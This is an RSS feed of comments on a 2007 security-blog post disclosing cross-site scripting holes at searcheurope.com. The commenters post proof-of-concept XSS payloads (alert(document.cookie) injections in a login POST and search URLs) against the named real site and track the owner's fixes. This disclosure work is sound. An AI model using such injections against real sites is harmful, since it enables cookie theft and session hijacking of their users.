<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/MustLive Edition" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Коментарі для запису: MOSEB-08: Vulnerability at searcheurope.com</title>
	<link>http://websecurity.com.ua/1022/</link>
	<description></description>
	<pubDate>Tue, 07 Apr 2026 14:21:46 +0000</pubDate>
	<generator>http://wordpress.org/?v=MustLive Edition</generator>

	<item>
		<title>від: Trancer</title>
		<link>http://websecurity.com.ua/1022/#comment-35816</link>
		<pubDate>Wed, 13 Jun 2007 00:01:37 +0000</pubDate>
		<guid>http://websecurity.com.ua/1022/#comment-35816</guid>
					<description>with script tags.. damn wordpress</description>
		<content:encoded><![CDATA[<p>with script tags.. damn wordpress
</p>
]]></content:encoded>
				</item>
	<item>
		<title>від: Trancer</title>
		<link>http://websecurity.com.ua/1022/#comment-35815</link>
		<pubDate>Wed, 13 Jun 2007 00:00:38 +0000</pubDate>
		<guid>http://websecurity.com.ua/1022/#comment-35815</guid>
					<description>POST http://www.searcheurope.com/cgi-bin/links/user.cgi

login=1&#38;Username="&#62;alert(document.cookie)&#38;Password=xxx</description>
		<content:encoded><![CDATA[<p>POST <a href="http://www.searcheurope.com/cgi-bin/links/user.cgi" rel="nofollow">http://www.searcheurope.com/cgi-bin/links/user.cgi</a></p>
<p>login=1&amp;Username=&#8221;&gt;alert(document.cookie)&amp;Password=xxx
</p>
]]></content:encoded>
				</item>
	<item>
		<title>від: MustLive</title>
		<link>http://websecurity.com.ua/1022/#comment-33662</link>
		<pubDate>Sat, 09 Jun 2007 15:33:45 +0000</pubDate>
		<guid>http://websecurity.com.ua/1022/#comment-33662</guid>
					<description>&lt;strong&gt;Trancer&lt;/strong&gt;

Thanks man. They quickly fixed this hole. And owner of engine was worry that he couldn't fix this hole, but I have no doubt that he can, and he did.

They already fixed your hole also, but not completely, so there is another way for XSS in that script:

&lt;a href="http://photos.searcheurope.com/searcheurope/search.php?q=%22%20onload=alert(document.cookie)%20" rel="nofollow"&gt;alert(document.cookie)&lt;/a&gt;

&lt;strong&gt;Antoine&lt;/strong&gt; (Search Europe owner)

No need to worry about these vulnerabilties - you can fix them and you did. I had no doubt about that. And you need to fix last hole (at photos.searcheurope.com) completely, because as I show above there still is a hole.</description>
		<content:encoded><![CDATA[<p><strong>Trancer</strong></p>
<p>Thanks man. They quickly fixed this hole. And owner of engine was worry that he couldn&#8217;t fix this hole, but I have no doubt that he can, and he did.</p>
<p>They already fixed your hole also, but not completely, so there is another way for XSS in that script:</p>
<p><a href="http://photos.searcheurope.com/searcheurope/search.php?q=%22%20onload=alert(document.cookie)%20" rel="nofollow">alert(document.cookie)</a></p>
<p><strong>Antoine</strong> (Search Europe owner)</p>
<p>No need to worry about these vulnerabilties - you can fix them and you did. I had no doubt about that. And you need to fix last hole (at photos.searcheurope.com) completely, because as I show above there still is a hole.
</p>
]]></content:encoded>
				</item>
	<item>
		<title>від: Trancer</title>
		<link>http://websecurity.com.ua/1022/#comment-33501</link>
		<pubDate>Sat, 09 Jun 2007 01:12:08 +0000</pubDate>
		<guid>http://websecurity.com.ua/1022/#comment-33501</guid>
					<description>they fixed it.
here's another one:
http://photos.searcheurope.com/searcheurope/search.php?q=%3Cscript%3Ealert(0)%3C/script%3E</description>
		<content:encoded><![CDATA[<p>they fixed it.<br />
here&#8217;s another one:<br />
<a href="http://photos.searcheurope.com/searcheurope/search.php?q=%3Cscript%3Ealert" rel="nofollow">http://photos.searcheurope.com/searcheurope/search.php?q=%3Cscript%3Ealert</a>(0)%3C/script%3E
</p>
]]></content:encoded>
				</item>
</channel>
</rss>
